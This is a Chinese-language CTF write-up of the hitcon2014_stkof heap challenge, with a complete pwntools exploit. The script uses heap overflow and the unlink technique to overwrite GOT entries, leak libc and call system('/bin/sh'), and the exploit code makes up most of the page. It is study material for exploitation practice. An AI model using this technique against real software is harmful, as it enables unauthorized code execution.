【PWN · heap | unlink】hitcon2014_stkof

初学,通过一道题初步掌握unlink。不教学unlink的具体过程,仅是一篇wp记录笔记


前言

教学和具体过程可以看这个大佬的博客:

buuctf pwn hitcon2014_stkof 初识unlink_buuctf hitcon2014_stkof-CSDN博客


一、题目

【PWN · heap | unlink】hitcon2014_stkof_第1张图片

fill函数可读大量字符,造成堆溢出。

可以通过unlink进行利用控制:

如果存在区域连续存放结构体指针存在堆溢出或其他漏洞修改结构体控制头部字段、常存在edit操作

最终效果:可以edit这些结构体指针区域的指针,再通过指针任意地址写

二、exp

from pwn import *
from pwn import p64
context(arch='amd64',log_level='debug')

io=process('./pwn')
# io=remote('node4.buuoj.cn',25122)
elf=ELF('./pwn')
libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
free_got=elf.got['free']
free_plt=elf.plt['free']
atoi_got=elf.got['atoi']
atoi_plt=elf.plt['atoi']

def fill(index,size,payload):
    io.sendline(b'2')
    io.sendline(str(index).encode())
    io.sendline(str(size).encode())
    io.send(payload)
    io.recvuntil(b'OK\n')

def free(index):
    io.sendline(b'3')
    io.sendline(str(index).encode())
    

def alloc(size):
    io.sendline(b'1')
    io.sendline(str(size).encode())
    cnt=int(io.recvuntil(b'\n',drop=True))
    io.recvuntil(b'OK\n')
    success('num of chunk:{}'.format(cnt))

initptr=0x602140
# gdb.attach(io)
alloc(0x100) #为了触发输入输出缓冲区的malloc而操作,后面没用
# 构造伪chunk
# 但是大小和填充(就算正确构造了位置上的fake chunk,有时候还是会遇到double-link报错
alloc(0x20) 

alloc(0x80) # free掉的时候触发unlink

##### 构造fake chunk、修改临近smallbin-chunk控制头部字段
chunk2_ptr=initptr+2*0x8 # 第二块,块数从1计
fd=chunk2_ptr-0x18; bk=chunk2_ptr-0x10
payload=p64(0)+p64(0x21)+p64(fd)+p64(bk) # fake chunk
# 很奇怪,这里构造fake chunk一不小心就会爆double-link的错误,不知道为什么
# payload=payload.rjust(0x60,b'a') 之前第二个开了0x60的大小,用b'a'填充开头但是报错。。。
payload+=p64(0x20)+p64(0x90) # 溢出修改chunk3的prev_size和(size+prev_inuse)构成unlink
fill(2,len(payload),payload)

##### free smallbin-chunk触发unlink
free(3)
io.recvuntil(b'OK\n') 
# 之所以单独拿出来是因为后面篡改free后,要泄露地址,方便接收

# chunk0指针改为指向puts_got,chunk1指针指向free_got
payload=p64(0)  #0x602138
           #0x602140     #0x602148     #0x602150     #0x602158 对应第0、1、2个chunk,也就是fill的index
payload+=p64(puts_got)+p64(free_got)+p64(0x602138)+p64(puts_got)
fill(2,len(payload),payload)

# 修改free_got为puts_plt
payload=p64(puts_plt)
fill(1,len(payload),payload)

# 泄露puts_got地址
free(3)
puts=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
success('puts real addr:{}'.format(hex(puts)))
io.recvuntil(b'OK\n') 

# 获得system、/bin/sh字符串的真实地址
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search(b'/bin/sh\x00'))

# 思路1:
# 更改free为system,更改指针指向bin_sh,然后free该指针构成system('/bin/sh')
# 重新修改栈上内容
# payload=p64(0)  #0x602138
            #0x602140    #0x602144  对应第0、1个chunk指针
# payload+=p64(free_got)+p64(bin_sh)
# fill(2,len(payload),payload)
# payload=p64(system)
# fill(0,len(payload),payload)
# free(1)
# 成功getshell
 
# 思路2:
# 更改atoi为system,手动输入/bin/sh字符串
# 重新修改栈上内容
payload=p64(0)
payload+=p64(atoi_got)
fill(2,len(payload),payload)
# 更改atoi为system
payload=p64(system)
fill(0,len(payload),payload)
raw_input()
io.sendline(b'/bin/sh\x00')
# 成功getshell

io.interactive()

你可能感兴趣的:(【PWN,·,heap】,pwn,ctf,heap,unlink)